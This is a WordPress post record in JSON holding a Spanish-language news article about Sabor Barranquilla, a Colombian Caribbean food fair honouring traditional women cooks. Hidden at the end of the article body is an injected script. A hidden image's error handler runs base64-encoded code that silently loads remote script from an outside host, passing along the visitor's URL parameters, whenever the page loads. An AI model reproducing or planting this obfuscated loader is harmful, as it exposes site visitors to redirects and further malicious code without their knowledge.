{"id":14226,"date":"2023-08-22T08:51:36","date_gmt":"2023-08-22T11:51:36","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=14226"},"modified":"2025-08-13T16:11:40","modified_gmt":"2025-08-13T19:11:40","slug":"las-matronas-engalanan-la-gran-fiesta-de-la-cocina-del-caribe-colombiano","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2023\/08\/22\/las-matronas-engalanan-la-gran-fiesta-de-la-cocina-del-caribe-colombiano\/","title":{"rendered":"Las matronas engalanan la gran fiesta de la cocina del caribe colombiano"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-vivid-green-cyan-background-color has-background\"><em>Sabor Barranquilla, la feria gastron\u00f3mica m\u00e1s grande de la regi\u00f3n, llega con un homenaje a las defensoras del patrimonio culinario<\/em><\/h4>\n\n\n\n<p>\u00a1Nuevamente hay fiesta en la cocina!\u00a0Sabor Barranquilla, la feria m\u00e1s sabrosa del Caribe colombiano, regresa para celebrar el coraz\u00f3n de nuestros fogones: las matronas, mujeres que han dedicado su vida a preservar y transmitir nuestras tradiciones culinarias.<\/p>\n\n\n\n<p>Con su voz y sus manos, la matrona de las cocinas colombianas canta, cuenta y prepara los platos que transmiten y preservan el patrimonio gastron\u00f3mico de nuestras regiones.<\/p>\n\n\n\n<p>Del 24 al 27 de agosto, en Puerta de Oro, Centro de eventos del Caribe, la feria gastron\u00f3mica m\u00e1s grande de la regi\u00f3n, y una de las m\u00e1s importantes del calendario ferial colombiano, rendir\u00e1 homenaje a esa mujer que conquista paladares y corazones al llevar. el campo a la mesa.<\/p>\n\n\n\n<p>A las matronas invitadas las acompa\u00f1ar\u00e1n otros chefs nacionales e internacionales, y la oferta culinaria se fortalecer\u00e1 en la feria comercial, en la que participar\u00e1n diferentes marcas y restaurantes de la capital del Atl\u00e1ntico.\u00a0El Caribe, con su cocina de r\u00edo y mar, con la saz\u00f3n de la sabana, se podr\u00e1 degustar en cada plato que recuerde la extensi\u00f3n de su geograf\u00eda, que refleja la diversidad de esta regi\u00f3n.<\/p>\n\n\n\n<p>\u201cEl evento Sabor Barranquilla es una magn\u00edfica oportunidad para mostrar al mundo la riqueza culinaria del Gran Caribe colombiano, que es una fusi\u00f3n de sabores europeos, africanos, ind\u00edgenas y \u00e1rabes.\u00a0Esta exquisita mezcla de tradiciones culinarias se ha transmitido de generaci\u00f3n en generaci\u00f3n, ya trav\u00e9s de sus sabores refleja la diversidad, biodiversidad y la autenticidad de la gastronom\u00eda colombiana.\u00a0Los turistas quedan maravillados por la originalidad de nuestros platos, y en este evento, tendr\u00e1n la oportunidad de conocer de cerca a los talentosos chefs y cocineros que est\u00e1n detr\u00e1s de estas preparaciones.\u00a0Estas experiencias son una muestra de la amplia e incre\u00edble oferta que tenemos en turismo cultural y por eso recomendamos a los viajeros a que vengan y conozcan de primera mano nuestras maravillas\u201d, explic\u00f3 Carmen Caballero.<\/p>\n\n\n\n<p>Patricia Maestre, directora de Sabor Barranquilla, asegur\u00f3 que \u201ccon Sabor Barranquilla como feria bandera del sector, en la regi\u00f3n buscamos hacer del Caribe un polo de turismo gastron\u00f3mico, y por eso promovemos a todos los actores los que hacen parte de este, a los peque\u00f1os y grandes.\u00a0Nuestro esp\u00edritu es engrandecer los sabores y saberes de nuestra tierra, de nuestras cocinas, y eso es posible gracias al valor que ha tomado lo propio, el gran atractivo tur\u00edstico del Caribe\u201d.<\/p>\n\n\n\n<p>La fiesta m\u00e1s sabrosa del Caribe colombiano enciende fogones.\u00a0Las matronas ser\u00e1n las protagonistas indiscutibles de una edici\u00f3n que, m\u00e1s que nunca, las recuerda y las celebra.<\/p>\n\n\n\n<p>Sabor Barranquilla est\u00e1 organizado por la Cruz Roja Colombiana Seccional Atl\u00e1ntico, Corferias Caribe y Fenalco Atl\u00e1ntico.<\/p>\n\n\n\n<p>Fuente: Procolombia<\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Sabor Barranquilla, la feria gastron\u00f3mica m\u00e1s grande de la regi\u00f3n, llega con un homenaje a las defensoras del patrimonio culinario \u00a1Nuevamente hay fiesta en la cocina!\u00a0Sabor Barranquilla, la feria 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